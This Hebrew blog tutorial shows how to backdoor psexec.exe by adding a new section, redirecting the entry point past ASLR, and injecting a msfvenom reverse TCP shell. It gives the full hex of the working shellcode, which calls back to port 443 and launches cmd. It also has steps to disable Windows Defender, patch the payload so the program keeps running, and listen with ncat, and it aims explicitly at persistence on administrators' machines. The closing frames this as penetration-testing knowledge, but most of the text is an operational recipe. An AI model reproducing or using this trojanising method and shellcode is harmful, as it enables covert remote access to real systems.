PE Backdooring תוך התמודדות עם ASLR
הקדמה
ברוכים הבאים למאמר נוסף בנושא PE. הפעם נעסוק בניצול קבצי PE על מנת ליצור דלת אחורית (Backdoor) במטרה שלנו. מטרת המאמר היא לספק מדריך שלם להזרקת Shellcode לקובץ PE כך שכל פעם שיריצו את הקובץ תפתח Shell על המטרה. הקובץ אליו נזריק את ה-Shellcode שלנו הוא psexec.exe. למה שנבחר דווקא בקובץ הזה? מסיבה פשוטה - אדמיניסטרטורים משתמשים בו בתדירות גבוהה. יש עוד כלים שאדמיניסטרטורים משתמשים בהם בתדירות גבוהה, אולם הכלי גם יותר תעבורת רשת - מאפשר לנו רעש רקע שיסווה את הפקטות של ה-Shell שלנו בין הפקטות המקוריות שהכלי מייצר.טרמינולוגיה
כדי שיהיה יותר נוח לכולם, נעבור על מספר מושגים שצריך להבין כדי להפיק מהמאמר את המיטב.Code Cave - במאמר שלו, Drew Benton הוא מנסח זאת מצוין:
"a redirection of program execution to another location and then returning back to the area where program execution had previously left."במילים פשוטות יותר - ישנם אזורי קוד "פנויים" בקבצי הרצה. כשאני אומר פנויים אני מתכוון לכך שהם מכילים הוראות NOP או אפסים. הוראות NOP באסמבלי הן למעשה כמו להגיד pass בפייתון - הן פשוט הוראות שלא עושות כלום. זה אומר שאפשר להחליף אותן בקוד אחר והתפקוד הרגיל של התכנית לא תפגע מכך. לדוגמה, אם יש קובץ הרצה שמכיל 20 הוראות NOP ברצף, אני יכול לכתוב במקומן הוראות בגודל 20 NOP-ים, שירוצו. כל עוד אני לא פוגע במחסנית ובאוגרים אני לא אמור לפגוע בריצתו המקורית של הקובץ.
Shellcode - בהגדרה, זהו פיסת קוד שמשמת כ-Payload בתהליך ה-Exploitation. בפועל, לרוב זה רצף של כמה פקודות שיבצעו לנו משימה שנרצה שתקרה ביעד שלנו לאחר שהשגנו יכולת הרצה קוד על היעד. נקרא Shellcode כי בדרך כלל המטרה היא ליצור shell על היעד אך זה לא תמיד המקרה.
Backdooring - יצירת אחיזה בצורת דלת אחורית אצל היעד. זה אומר שאנחנו מיצרים מנגנון שרידות מסוים על היעד כך שנוכל לחזור לקבל גישה גם אם איבדנו או נטשנו אותה לאחר שהשגנו אותה בפעם הראשונה. למשל אם הצלחנו לחדור למחשב בארגון ומסיבה מסוימת אותו מחשב כבה. במצב כזה נרצה שתהיה בידנו היכולת לשחזר את הגישה. ניתן לעשות זאת ברגע שיש לנו מנגנון שרידות על אותו מחשב. אחת הטכניקות היא Backdoor. אנחנו ננצל קובץ הרצה שמורץ לעתים תדירות כדי לממש את הטכניקה הזו.
ארגז הכלים שלנו
Stud PE - כלי שמפרסר קבצי PE ומאפשר עריכה שלהם. תוכלו להוריד אותו מכאן. ישנן הרבה אלטרנטיבות כגון CFF Explorer. בחרתי בכלי בעיקר כי הוא פשוט ועונה על הצרכים שלנו.msfvenom - ממשק קריקטריאלי של Metasploit framework - אחד הכלים הכי חזקים בעולם בדיקות החדירות. מאפשר יצירת Stand alone payloads. בפשטות - נשתמש בו כדי לג'נרט את ה payload שלנו. הוא מגיע מובנה ב Kali linux.
Immunity Debugger - כלי למחקר קבצי הרצה. מכיל Debugger, מיפוי של הזיכרון של התהליך הנחקר ועוד תכונות מצוינות. מתאים ל Malware Analysis פיתוח Exploits ועוד. תוכלו להשתמש ב OllyDBG ודומיו כדי לבצע את התהליך שנעשה כאן.
Windows 10 - הכל רץ על Windows 10. נקודה חשובה - כמו שאמרתי, במאמר זה אין התחשבות ב Detaction Rate. אולם Windows 10 מגיע מצויד ב Windows Defender שיפריע לנו בשלב מסוים. נפרט על זה בהמשך, נכון לעכשיו עליכם לדעת כי בהמשך תצטרכו להוריד את ה Windows Defneder.
הערה:
מומלץ להשתמש בסביבה וירטואלית כדי לא לאלץ את עצמכם לכבות את ה Windows Defender המקומי שלכם. לגמרי לא חובה - לבחירתכם.
הרעיון של התקיפה מאוד פשוט כשמבינים אותו (כמו כל דבר בחיים בערך). המטרה שלנו היא לאתר אזור בקובץ שיש בו Code Cave, או ליצור אחד כזה. לאחר מכן "לגנוב" את הזרם של התכנית
ולהפנות אותו ל Code Cave שלנו. ה Code Cave יכיל את הקוד שלנו. לאחר מכן נחזיר את הזרם של התכנית ונשמור את הבינארי המעודכן. כעת כל פעם שיריצו אותו, גם הקוד שלהו ירוץ.
בדרך הולכים להיות לנו כמה אתגרים אך לפחות עד שנגיע אליהם, כדאי שנבין את תכנית עבודה שלנו.
0x0 - סיפוק Code Cave - מציאה או יצירה.
0x1 - מציאת ה Entry Point של התכנית.
0x2 - החלפת הקוד ב Entry Point לקוד ש"גונב" את הזרם של התכנית.
0x3 - שמירת המצב הנוכחי של האוגרים והמחסנית.
0x4 - השתלת ה-Shellcode ב-Code Cave.
0x5 - שחזור המצב ששמרנו בשלב 0x3.
0x6 - יישור המחסנית
0x7 - השתלת הקוד שדרסנו בשלב 0x2.
0x8 - ניתוב זרם התכנית מחדש לנתיבו המקורי.
כעת שקצת יותר ברור לנו מה אנחנו צריכים לעשות נתחיל לפרט על כל שלב.
0x0 סיפוק Code Cave
ישנן שתי דרכים שנוכל לספק לעצמנו Code Cave. הדרך הראשונה היא לחפש רצף של NOP-ים. הרצף צריך להיות מספיק גדול כדי להכיל את שלבים 0x3 עד 0x8. בדרך כלל אזור ה 400 byte-ים יספיקו. את הרצף הזה נוכל לחפש ידנית או אוטמטית. מן הסתם שלא נחפש ידנית כשיש לנו אין סוף כלים שידעו לעשות את זה בשבילנו. יתרה מזאת, אנחנו נבחן בפסקה הבאה כיצד אחד מהכלים שעושים את זה, יודע לעשות את זה. בנוסף לכך, במידה ולא נמצא Code Cave ב Section (אם אין לכם מספיק הבנה במבנה של PE, מומלץ לקרוא את המאמר שכתבתי בנושא וכדי להיות סגור לגמרי כדאי להמשיך גם לחלק השני) שיש לו הרשאות הרצת קוד, נצטרך לערוך את ההרשאות של ה Section שבו מצאנו את ה Code Cave. הדרך השניה היא באמצעות הוספת Section חדש . ה Section החדש יהיה בגודל שנצטרך, עם הרשאות המאפשרות להריץ קוד ממנו. במאמר נממש את הדרך השניה. איני רואה צורך למימוש שתי הדרכים במלואן שכן רק שלב סיפוק ה Code Cave שונה. מה שכן, אציג לכם כיצד למצוא את ה Code Cave במידה ואתם בוחרים בדרך הראשונה.נתחיל במציאת Code Cave. נשתמש בכלי pycave.py. הכלי יודע לאתר Code Caves לפי גודל נדרש. הוא עושה את זה בבלוק הקוד הבא:
ניתן לראות לולאה שרצה עבור כל אחד מה Section-ים הקיימים בקובץ כאשר בכל ריצה, ראשית נבדק שאכן ה-Section אינו ריק, ולאחר מכן מתחיל חיפוש של רצף של Null-bytes. ברגע שנמצא רצף מספיק ארוך - הוא נרשם על המסך. ניתן לשנות את התנאי בתוך הלולאה הפנימית כך שגם NOP ייחשב חלק מהרצף. בסופו של דבר גם NOP-ים ו- Null-bytes ניתנים לדריסה מבלי לשכתב אף הוראה שתהרוס את התכנית. כעת כל שנותר זה להריץ את הסקריפט ולקבל את רשימת ה-Code Caves המאותרים. כעת בדקו אילו הרשאות יש ל-Section זה. במידה ואין הרשאות מתאימות - שכתבו אותן. בהמשך המאמר אראה בדיוק איך ניתן לבחור הרשאות ל-Section. כעת תוכלו לעבור לשלב הבא. כעת נעבור לאפשרות השניה - יצירת Section חדש. פתחו Stud_PE, וטענו את psexec.exe. זה מה שאתם אמורים לראות:
כעת עברו לחלון ה-Sections, זה מה שנראה:
כעת לחצו על מקש ימין בעכבר, בחרו New Section וערכו את הערכים כך שיראו כמו בתמונה הבאה:
לחצו Add ולאחר מכן OK וכעת יש לכם psexec עם Section נוסף מלא ב NOP-ים.
0x1 - מציאת ה-Entry Point
למי שלא סגור, Entry Point זו הכתובת הראשונה שמורצת בתכנית. הרבה פעמים מופיעה ב Debugger-ים כ-Module Entry Point. נפתח Immunity Debugger ונטען ה-psexec החדש שלנו. נקבל לפנינו את תמונת המצב הבאה:
ההוראה הראשונה היא ה Entry Point כמו שגם Immunity Debugger מציין.
0x2 - החלפת הקוד ב Entry Point לקוד ש"גונב" את הזרם של התכנית
במונחים יותר מקובלים, אנחנו נעשה Hijacking Code Execution. זה אומר שאנחנו הולכים לדרוס את ההוראה ב-Entry Point, להשתיל שם הוראת JMP שתוביל את הקוד ל-Section החדש שלנו. לפני שאנחנו עושים את זה, תעשו לעצכם טובה ותשמרו את ה-4 הוראות הראשונות בצד. כדי לעשות את זה סמנו את ההוראות שברצונכם להעתיק, מקש ימיני בעכבר, בחרו את אופציית ה-Copy ואז To clipboard. כנסו ל-Notepad ותדביקו. שמרו את זה בצד.
עכשיו צריך לכתוב את הוראת ה-JMP. אולם יש לפנינו בעיה שלא דיברנו עליה עד עכשיו והיא נקראת ASLR. מה קורה אם מוגדר לקובץ שהוא משתמש ב-ASLR, ממש כמו במקרה שלנו? כדי לענות על השאלה הזו ראשית נבין מה זה ASLR.
ASLR
Address Space Layout Ramdomization הוא פיצ'ר אבטחתי שאחראי לערבל את הכתובות של קבצי ההרצה כאשר הם נטענים לזיכרון. הדבר מקשה על פיתוח Exploits לתכנית שתומכת בפיצ'ר זה, שכן אי אפשר לבצע קפיצות לכתובות Hard-Coded שהרי בכל הרצה הן ישתנו. כאשר PE מקומפל עם הדגל DYNAMICBASE במערכת הפעלה תומכת ASLR, נקבל ערבול (בעל מגבלות אגב) של הכתובות בתהליך. כאשר ננסה לבצע עידכונים בקוד מקומפל עם ASLR לא נוכל לבצע קפיצות לפי כתובות מקובעות, כלומר Hard-Coded, אלא נצטרך לעשות זאת לפי כתובות יחסיות (RVA-ים) בין הכתובת הנוכחית (שממנה אנו קופצים), לכתובת הבאה (אליה אנו קופצים). כעת שברור מה זה ASLR ואיך ניתן להתמודד איתו אפשר להמשיך.אז אמרנו שצריך לכתוב הוראת JMP שתחליף את ההוראה הראשונה. למזלנו ההוראת JMP וההוראת CALL הן באותו גודל ולכן רק ההוראת CALL תדרס. המטרה שלנו עכשיו היא לייצר הוראת JMP עם קפיצה רלטיבית. נעשה זאת באמצעות כמה שלבים. נתחיל מלהבין את ה RVA של ההוראה שנקראת בפקודה ה-CALL, את ה-RVA של ההוראת JMP ואת ה-RVA של ה-Section החדש שאנחנו רוצים לקפוץ אליו. כדי לעשות את זה נשתמש בנוסחה הבאה:
ה-RVA של מה שאנחנו מחפשים = Virtual Offset של ה Section של מה שאנחנו מחפשים + ה Raw Offset של מה שאנחנו מחפשים מינוס ה Raw offset של ה Section של מה שאנחנו מחפשים.
ה-RVA של הכתובת שנקראת בפקודת CALL תהיה 0x11500.
ה-RVA של הכתובת של ההוראה השניה - הוראת ה-JMP היא 0x9DEB.
ה-RVA של ה-Section החדש שלנו היא 0x7d000.
נעשה סדר איזה RVA ישמש אותנו מתי:
ה-RVA 0x11500 ישמש אותנו כדי לקרוא לפונקציה שקוראים לה בהוראה הראשונה, נשתמש בזה בשלב השביעי.
ה-RVA 0x9DEB ישמש אותנו מתי שנרצה להחזיר את הזרם של התכנית לנתיבו המקורית.
ה RVA 0x7d000 ישמש אותנו כאשר נרצה לקפוץ ל-Section החדש שלנו.
אז ההוראת JMP שתחליף את ההוראת CALL תהיה <JMP <offset from 0x9DE6 to 0x7d000 שזה אומר JMP 7321A.
נייצר את הבינארי של זה עם nasm שבא יחד עם metasploit:
תעתיקו את ה-opcdode הבינארי שקיבלתם ותדביקו באמצעות סימון ההוראת CALL, מקש ימיני, Binary ואז Binary Paste. זה אמור להיות משהו כזה:
תנו לחיצה קטנה על F7 תראו שקפצתם ל-Section שלכם ואתם על הגל.
עכשיו צריך לשמור את הקובץ החדש שקיבלנו ומשם נמשיך לשלב הבא.
נעשה את זה באמצעות סימון ההוראה שעדכנו, מקש ימיני בעכבר, Copy to Executable, לאחר מכן בחרו Selection. זה יראה ככה:
מה שיפתח לכם זה מסך חדש עם כתב ירוק. תלחצו על מקש ימיני בעכבר ואז Save File. תשמרו והלאה.
0x3 - שמירת המצב הנוכחי של האוגרים והמחסנית
בשלב הזה אנחנו מתחילים לכתוב את הקוד שישב ב-Section החדש. הקוד שבעצם ירוץ ויעשה את מה שאנחנו רוצים כדי לייצר את ה-Backdoor. נתחיל משמירת המצב של האוגרים בשימוש בהוראות PUSHAD ו-PUSHFD. בפשטות, ההוראות האלו שומרות את המצב של האוגרים במחסנית ומקדמות את ה ESP בהתאם. לאחר מכן נשתמש ב-POPAD ו-POPFD כדי למשוך אותם בחזרה מהמחסנית.0x4 - השתלת ה-Shellcode ב-Code Cave
את ה-Shellcode ניקח מ-msfvenom. נג'נרט pyload של revese tcp shell ובו נשתמש. נעשה את זה ככה:p- מציין את ה-payload שלנו.
LPORT מציין את הפורט בו נרצה להאזין לחיבור מהיעד.
LHOST מציין את ה IP אליו נרצה שהיעד יתחבר. בגלל שאני מריץ את הקובץ psexec מקומית אז אגדיר את ה-LHOST ל-localhost.
EXITFUNC=none מציין שההרצה לא תושהה בסיום ה-payload.
עוד לא נשתיל את הקוד, נמשיך לשלבים הבאים ואז נחבר את כל החלקים ביחד.
0x5 - שחזור המצב ששמרנו בשלב 0x3
כאן נשתמש ב-POPFD ו-POPAD בסדר הפוך מהסדר שהשתמנו בשלב השלישי בהתאם לתצורה שעובדת המחסנית.0x6 - יישור המחסנית
צריך לקחת בחשבון ליישר את המחסנית לאחר השלב הקודם. במקרה שלי הייתי צריך להוסיף 0x1FC ל-ESP כדי שזה יקרה.0x7 - השתלת הקוד שדרסנו בשלב 0x2.
כאן אנחנו הולכים לכתוב את הקריאה שדרסנו בהתחלה. כלומר לקרוא ל RVA 11500. נעשה את זה באמצעות nasm. זה יראה ככה:
נשמור את ה-opcode בצד.
0x8 - ניתוב זרם התכנית מחדש לנתיבו המקורי
כאן אנחנו קופצים מה-RVA שבו נניח את הפקודה הזו ל-RVA של ההוראה JMP ב-RVA 0x9DEB. נכון לעכשיו פשוט תקבלו את זה שהכתובת שממנה נקפוץ תהיה RVA 0x7D205, נסביר בהמשך למה הגעתי לזה.
כעת נחבר את שלבים 0x3 עד 0x8. מה שנקבל זה את הרצף הבא:
PUSHAD at RVA 0x7D000
PUSHFD at RVA 0x7D001
SHELLCODE at RVA 7D002 - RVA 7D1FD
POPAD at RVA 7D1EE
POPFD at RVA 7D1EF
ADD ESP, 1FC at RVA 7D1EF
CALL RVA 11500 at RVA 7D200
JMP at RVA 7D205
אתם יכולים לראות שה-JMP האחרון הוא מ-RVA 7D205. אין סיבה שזה בידיוק הכתובת הזו. כלומר, זה תלוי בגודל ה-shellcode ובמרווחים בין הפקודות. במקרה שלנו יצא שזה שהקפיצה חזרה לקוד היא מהכתובת הזו. אולם כן יכולנו לצמצם את החלקים השונים אבל אין צורך כי יש עודף מקום בכל מקרה. כמובן שבהתקפה אמיתית נשתדל לצמצם ככל הניתן את ה-shellcode ואם יצרנו section אז גם את ה-section.
ככה יראה הבינארי הסופי של ה-Code Cave פלוס Null-byte-ים עד סוף ה-Section.
60 9C FC E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A 51 FF E0 5F 5F 5A 8B 12 EB 8D 5D 68 33 32 00 00 68 77 73 32 5F 54 68 4C 77 26 07 FF D5 B8 90 01 00 00 29 C4 54 50 68 29 80 6B 00 FF D5 50 50 50 50 40 50 40 50 68 EA 0F DF E0 FF D5 97 6A 05 68 7F 00 00 01 68 02 00 01 BB 89 E6 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0C FF 4E 08 75 EC 68 F0 B5 A2 56 FF D5 68 63 6D 64 00 89 E3 57 57 57 31 F6 6A 12 59 56 E2 FD 66 C7 44 24 3C 01 01 8D 44 24 10 C6 00 44 54 50 56 56 56 46 56 4E 56 56 53 56 68 79 CC 3F 86 FF D5 89 E0 4E 56 46 FF 30 68 08 87 1D 60 FF D5 BB AA C5 E2 5D 68 A6 95 BD 9D FF D5 3C 06 7C 0A 80 FB E0 75 05 BB 47 13 72 6F 6A 00 53 FF D5 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9D 61 81 C4 FC 01 00 00 90 90 90 90 90 90 90 90 90 90 E8 FB 42 F9 FF E9 E1 CB F8 FF
הערה:
יש למחוק מספר הוראות ב-payload שאומרות להשהות את הרצת התכנית (הפקודה היא WaitForSingleObject עם הפרמטר -1). לכן במקום ה-
4E 56 46 ב RVA 0x7D129 עד RVA 0x7D12B נכתוב 90 90 90. כך זה יראה סופית:
60 9C FC E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A51 FF E0 5F 5F 5A 8B 12 EB 8D 5D 68 33 32 00 00 68 77 73 32 5F 54 68 4C 77 26 07 FF D5 B8 90 01 00 00 29 C4 54 50 68 29 80 6B 00 FF D5 50 50 50 50 40 50 40 50 68 EA 0F DF E0 FF D5 97 6A 05 68 7F 00 00 01 68 02 00 01 BB 89 E6 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0C FF 4E 08 75 EC 68 F0 B5 A2 56 FF D5 68 63 6D 64 00 89 E3 57 57 57 31 F6 6A 12 59 56 E2 FD 66 C7 44 24 3C 01 01 8D 44 24 10 C6 00 44 54 50 56 56 56 46 56 4E 56 56 53 56 68 79 CC 3F 86 FF D5 89 E0 00 00 00 FF 30 68 08 87 1D 60 FF D5 BB AA C5 E2 5D 68 A6 95 BD 9D FF D5 3C 06 7C 0A 80 FB E0 75 05 BB 47 13 72 6F 6A 00 53 FF D5 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9D 61 81 C4 FC 01 00 00 90 90 90 90 90 90 90 90 90 90 E8 FB 42 F9 FF E9 E1 CB F8 FF
כעת נשמור הכל כמו שעשינו בתחילת המאמר, ל-Executable חדש. תקראו לו איך שבא לכם ובואו נריץ ונראה מה קורה.
נתחיל ב-ncat -lvp 443 כדי להאזין בפורט שאליו יפנה ה-payload:
וככה זה נראה אחרי שהפעלנו את PsExec עם calc.exe כפרמטר:
סיכום
במאמר ניסיתי להציג לכם כיצד ניתן לייצר אחיזה במטרה שלנו באמצעות השתלת קוד זדוני בקובץ הרצה המורץ על ידי משתמשים חזקים (בדרך כלל) וכך לשמר את היכולות שלנו במטרה. עשינו זאת באמצעות טכניקה שנקראת PE Backdooring. במאמר התחשבנו בקבצי הרצה שמגיעים עם תמיכה ב-ASLR, כמעט כמו כל קובץ היום. הטכניקה ניתנת לביצוע גם על קבצים שלא תומכים ב-ASLR באותו אופן ואפילו אם כתובות Hard-Coded ככה שלא תתעסקו עם RVA-ים. מקווה שהמאמר יעזור לכם מתישהו בתרגיל תקיפה (למטרת הגנה מן הסתם) או בדיקת חדירות. בנוסף טוב להכיר את הטכניקה גם מהצד הכחול, המגן, על מנת לזהות תקיפות שמשתמשות בטכניקה זו. תודה שהקדשתם מזמנכם, נתראה המאמר הבא :).
תגובות
הוסף רשומת תגובה